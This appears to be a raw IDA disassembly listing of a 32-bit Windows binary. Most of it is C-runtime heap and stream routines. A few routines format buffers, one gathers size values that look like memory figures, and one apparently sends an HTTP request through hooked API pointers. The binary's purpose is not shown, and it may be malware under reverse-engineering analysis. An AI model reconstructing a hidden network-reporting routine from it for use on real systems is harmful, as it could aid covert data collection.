		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88B
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98C
		push	edx
		push	eax
		push	offset dword_43A030
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF6	proc near		; CODE XREF: sub_401ACD+279Cp
					; sub_401ACD+72F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB05C, 0
		jnz	short loc_41AD62
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CAE38
		test	eax, eax
		jnz	short loc_41AD4B
		lea	eax, [ebp+var_8C]
		push	offset dword_43A194
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4B:				; CODE XREF: sub_41ACF6+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD58
		push	offset dword_43A18C
		jmp	short loc_41AD5D
; ---------------------------------------------------------------------------


loc_41AD58:				; CODE XREF: sub_41ACF6+59j
		push	offset off_43A188


loc_41AD5D:				; CODE XREF: sub_41ACF6+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7A
; ---------------------------------------------------------------------------


loc_41AD62:				; CODE XREF: sub_41ACF6+28j
		mov	esi, offset off_43A184
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7A:				; CODE XREF: sub_41ACF6+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC0F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A140
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB5	proc near		; DATA XREF: sub_401ACD+7714o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A274
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CAE70
		test	eax, eax
		jz	loc_41AF4F
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8C
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8C:				; CODE XREF: sub_41ADB5+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAA
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAA:				; CODE XREF: sub_41ADB5+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC4
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC4:				; CODE XREF: sub_41ADB5+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDE
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDE:				; CODE XREF: sub_41ADB5+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CAF24
		call	dword_4CAF48
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF67
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CAF3C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6E
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CAEE8
		test	eax, eax
		jz	short loc_41AF48
		push	offset dword_43A258
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF48:				; CODE XREF: sub_41ADB5+18Aj
		push	offset unk_43A21C
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF4F:				; CODE XREF: sub_41ADB5+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A200
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF81
; ---------------------------------------------------------------------------


loc_41AF67:				; CODE XREF: sub_41ADB5+153j
		push	offset unk_43A1D4
		jmp	short loc_41AF73
; ---------------------------------------------------------------------------


loc_41AF6E:				; CODE XREF: sub_41ADB5+17Bj
		push	offset unk_43A1A4


loc_41AF73:				; CODE XREF: sub_41ADB5+191j
					; sub_41ADB5+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF81:				; CODE XREF: sub_41ADB5+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAC
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A72
		add	esp, 14h


loc_41AFAC:				; CODE XREF: sub_41ADB5+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	esi
		call	dword_4CAFA8
		push	[ebp+var_4]
		call	dword_4CAFA8
		push	[ebp+var_1D8]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h
		pop	edi
		pop	esi
		pop	ebx
		int	3		; Trap to Debugger
sub_41ADB5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DAp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB31+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DC904
		call	near ptr 27C0000h
		nop


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F089p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DC900
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27D0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C2F4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DC904
		call	near ptr 27D0000h
		nop
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		nop
		call	near ptr 2890000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB2FC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DC904
		call	near ptr 2890000h
		nop
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB2FC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB31+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB2FC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DC908
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DC900
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C2F4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DC904
		nop
		call	near ptr 27D0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

